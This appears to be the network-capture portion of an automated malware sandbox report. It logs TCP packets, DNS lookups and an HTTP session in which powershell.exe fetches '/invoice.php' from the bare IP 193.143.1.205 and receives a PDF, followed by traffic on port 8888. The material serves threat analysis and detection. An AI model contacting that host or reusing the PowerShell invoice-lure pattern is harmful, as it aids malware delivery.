Jan 11, 2025 05:35:36.161765099 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.161773920 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161787987 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161799908 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161806107 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.161813021 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161825895 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161828995 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.161839008 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161866903 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.161884069 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161895990 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161906004 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161916971 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.161921024 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161938906 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.162017107 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162029028 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162040949 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162051916 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162056923 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.162072897 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162081003 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.162085056 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162102938 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.162158012 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162168980 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162187099 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.162189960 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162203074 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162214041 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162223101 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.162225008 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162237883 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162244081 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.162250996 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162265062 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162270069 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.162277937 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162290096 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162302017 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162313938 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162317038 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.162327051 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162329912 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.162347078 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.162534952 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162547112 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162556887 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162569046 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162571907 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.162581921 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162592888 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.162595987 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162610054 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162619114 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.162626028 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162631035 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162636042 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162642956 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162656069 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162678003 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162686110 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.162691116 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162707090 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162719011 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162725925 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.162731886 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162739038 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.162746906 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162760973 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162765980 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.162772894 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162786007 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162796021 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162802935 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162807941 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162813902 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162820101 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.162864923 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.162864923 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.163011074 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163021088 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163033009 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163039923 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163050890 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.163057089 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163069010 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163073063 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.163084030 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163095951 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163103104 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.163110018 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163117886 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.163126945 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163156033 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.163189888 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163202047 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163223982 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.163351059 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163362980 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163373947 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163384914 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.163387060 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163400888 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163408995 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.163414001 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163428068 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163431883 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.163440943 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163455009 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163460970 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.163490057 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.163490057 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163502932 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163516045 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163527966 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163535118 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.163542032 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163553953 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163561106 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.163568020 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163580894 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163600922 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.163614988 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.163646936 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163659096 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163669109 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163681984 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163690090 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.163693905 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163707972 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163721085 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163723946 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.163733006 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163743019 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.163748026 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163762093 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163768053 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.163774014 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163785934 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163794041 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.163798094 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163810968 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.163826942 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.163850069 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.164037943 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164048910 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164060116 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164072037 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164083004 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164087057 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.164094925 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164107084 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164115906 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.164127111 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.164176941 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164190054 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164200068 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164212942 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164212942 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.164223909 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164235115 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.164236069 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164248943 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164261103 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164261103 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.164278984 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164287090 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.164292097 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164303064 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164309025 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.164318085 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164336920 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.164369106 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164380074 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164402008 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.164442062 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164453983 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164464951 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164474964 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.164479017 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164491892 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164498091 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.164505959 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164522886 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.164582014 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164592028 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164603949 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164614916 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164618015 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.164633036 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164642096 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.164645910 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164658070 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164668083 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.164671898 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164685011 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164700031 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.164724112 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.164944887 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164957047 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164968014 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164979935 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.164989948 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165002108 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165005922 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.165014029 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165024996 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165031910 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.165038109 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165050983 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165062904 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165071964 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.165075064 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165082932 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165088892 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165100098 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165101051 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.165112972 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165117979 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.165129900 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165142059 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165158033 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.165172100 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.165350914 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165361881 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165374041 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165385962 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165396929 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165397882 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.165409088 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165420055 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.165421963 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165435076 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165446997 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165451050 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.165467024 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165478945 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165483952 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.165493011 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165504932 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165513992 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.165517092 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165530920 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165533066 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.165541887 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.165560007 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.165581942 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.554425955 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.896214008 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:37.370618105 CET	49757	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:37.375437975 CET	8888	49757	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:37.375842094 CET	49757	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:37.376013041 CET	49757	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:37.380865097 CET	8888	49757	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:38.152867079 CET	8888	49757	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:38.194247961 CET	49757	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:39.815494061 CET	49757	8888	192.168.2.10	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:35:45.474559069 CET	50165	53	192.168.2.10	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 05:35:45.474559069 CET	192.168.2.10	1.1.1.1	0x2aba	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 05:35:28.128772020 CET	1.1.1.1	192.168.2.10	0x6073	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:35:28.128772020 CET	1.1.1.1	192.168.2.10	0x6073	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:35:45.481478930 CET	1.1.1.1	192.168.2.10	0x2aba	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49739	193.143.1.205	80	7744	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:35:34.369462013 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 05:35:35.145488977 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:35:35 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 05:35:35.145505905 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 05:35:35.145524025 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 05:35:35.145536900 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 05:35:35.145550013 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
